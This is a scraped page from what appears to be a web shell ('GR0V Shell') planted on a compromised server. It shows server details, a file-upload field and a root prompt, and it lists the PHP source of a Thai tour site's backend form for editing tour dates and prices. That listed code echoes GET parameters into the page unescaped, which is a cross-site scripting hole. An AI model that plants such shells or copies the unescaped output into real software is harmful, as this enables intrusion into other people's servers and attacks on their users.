? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html/backend/modules/goods/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html/backend/modules/goods/edit_.php

<?
session_start();
$tour_id=$_GET['tour_id'];
if($_GET['start_date']!=''){

$start=$_GET['start_date'];
$end=$_GET['end_date'];
$start=explode("-",$start);
$start=$start[2]."/".$start[1]."/".$start[0];

$end=explode("-",$end);
$end=$end[2]."/".$end[1]."/".$end[0];
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE><?echo $cfg['site_name'];?></TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<META content="" name=Keywords>
<META content="<?echo $cfg['site_name'];?>" name="Description">
<META content="<?echo $cfg['site_name'];?>" name="Author">
<META content="<?echo $cfg['site_name'];?>" name="Copyright">
<LINK href="../../css/backend_style.css" type="text/css" rel="stylesheet">
<SCRIPT language="JavaScript" src="../../js/function.js"></SCRIPT>
<SCRIPT language="JavaScript" src="../../js/backend_function.js"></SCRIPT>
<SCRIPT language="JavaScript" src="../../js/CalendarPopup.js"></SCRIPT>
<SCRIPT language="JavaScript" src="../../js/checkdate.js"></SCRIPT>
<SCRIPT language=JavaScript>document.write(getCalendarStyles());</SCRIPT>
  <SCRIPT language=JavaScript id=jscal1xx>
var cal1 = new CalendarPopup("div_cal1");
cal1.showNavigationDropdowns();
        </SCRIPT>
		<?
echo "<script>";
		$timestamp=date('d/m/Y',time());
echo "var timestamp='".$timestamp."';";
echo "</script>";
?>
<script>
function check_period(){
	
			
			var check_in=document.getElementById('check_in');
				var check_out=document.getElementById('check_out');
				if(check_in.value==''){		
					alert('กรุณากรอก วันที่เริ่มเดินทาง');
					check_in.select();
					return false;
				}
					if(check_out.value==''){		
					alert('กรุณากรอก วันกลับเดินทาง');
					check_out.select();
					return false;
				}
				str_in =check_in.value.split("/");
				str_out=check_out.value.split("/");
				var chk1=check_date(str_in,str_out);
			//alert(chk2+'-'+chk1);
			//if(date_out<=date_in){
				 if(!chk1){
					alert('วันกลับต้องมากกว่าวัน เริ่มต้นค่ะ');
					check_out.select();
					return false;
				}
			return true;
	
}//end function
function check_date(befor,after){
	if(befor[2]<after[2]){
		return true;
	}
if(befor[2]>after[2]){
	return false;
}
 if(befor[1]>after[1]){
	return false;
}
if(befor[1]<after[1]){
	return true;
}
if(befor[0]>= after[0] && befor[1]==after[1]){
//alert(befor[0]+'>'+after[0]);
return false;
}
return true;
}

</script>
		   <DIV id="div_cal1"
      style="VISIBILITY: hidden; POSITION: absolute; BACKGROUND-COLOR: white; layer-background-color: white"></DIV>
<form name="webForm"  method="POST" action="edit_do.php" enctype="multipart/form-data">
<input type="hidden" name="tour_id" value="<?=$_GET['tour_id'];?>">
<input type="hidden" name="old_start" value="<?=$_GET['start_date'];?>">
<input type="hidden" name="old_end" value="<?=$_GET['end_date'];?>">
<table width="844" height="54" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#F3F98E">
	<tr>
		 <!--<td width="26" align="center">&nbsp;</td>-->
		<td height="23" width="141" align="center">เริ่มเดินทาง</td>
		<td height="23" width="135" align="center">
		กลับจากเดินทาง</td>
		<td height="23" width="95" align="center">ผู้ใหญ่</td>
		<td height="23" width="98" align="center">เด็กมีเตียง</td>
		<td height="23" width="95" align="center">เด็กไม่มีเตียง</td>
		<td height="23" width="95" align="center">พักเดียว</td>
				<td height="23" width="95" align="center">comment</td>
	</tr>
	<tr>
	 <!--<td width="26" align="center"><label>
	   <input name="checkvadidate" type="checkbox" id="checkvadidate" value="1">
	  </label></td>-->
	  <td height="23" width="150" align="center"> <input type="text" style="width:80px;" id="check_in" name="check_in"  maxlength="20"  onChange="vDateType='3';DateFormat(this,this.value,event,true,'3')" onFocus="javascript:vDateType='3'" onKeyUp="DateFormat(this,this.value,event,false,'3')" onBlur="vDateType='3';DateFormat(this,this.value,event,true,'3')" value="<?=$start;?>">	<img src="../../images/icon-calendar.gif" name="pick_check_in" width="19" height="19" border="0" id="pick_check_in"
      onclick="cal1.select(document.getElementById('check_in'),'pick_check_in','dd/MM/yyyy'); return false;"></td>
	  <td height="23" width="150" align="center"><input type="text" id="check_out" style="width:80px;" name="check_out"  maxlength="20" onFocus="javascript:vDateType='3'" onKeyUp="DateFormat(this,this.value,event,false,'3')" onBlur="DateFormat(this,this.value,event,true,'3')" value="<?=$end;?>">
		<img src="../../images/icon-calendar.gif" name="pick_check_out" width="19" height="19" border="0" id="pick_check_out"
      onclick="cal1.select(document.getElementById('check_out'),'pick_check_out','dd/MM/yyyy'); return false;" value="Date">		</td>
		<td height="23" width="100" align="center"> <input type="text" name="cost1" style="width:70px;" onBlur="CheckInputNumber2(this)" value="<?=$_GET['cost1'];?>"></td>
		<td height="23" width="100" align="center"><input type="text" name="cost2" style="width:70px;" onBlur="CheckInputNumber2(this)" value="<?=$_GET['cost2'];?>"></td>
		<td height="23" width="100" align="center"><input type="text" name="cost3" style="width:70px;" onBlur="CheckInputNumber2(this)" value="<?=$_GET['cost3'];?>"></td>
				<td height="23" width="100" align="center"><input type="text" name="cost4" style="width:70px;" onBlur="CheckInputNumber2(this)"  value="<?=$_GET['cost4'];?>"></td>
		<td height="23" width="100" align="center"><textarea name="comment" rows="3" style="width:70px;" onBlur="CheckInputNumber2(this)"><?=$_GET['comment'];?>
		</textarea></td>
	</tr>
</table>
<table width="911" height="54" border="1" align="center">
	<tr>
	  <td width="100%" align="center"><br>
	    <input type="button" value=" บันทึก " onClick="javascript: if(check_period()){document.webForm.submit();}">  <input type="button" value=" ล้างข้อมูล " onClick="javascript:window.parent.frames[1].location ='add_.php'"> 
      </td></tr>
  </table>
	</FORM>

T1KUS90T
  root-grov@210.1.60.28:~$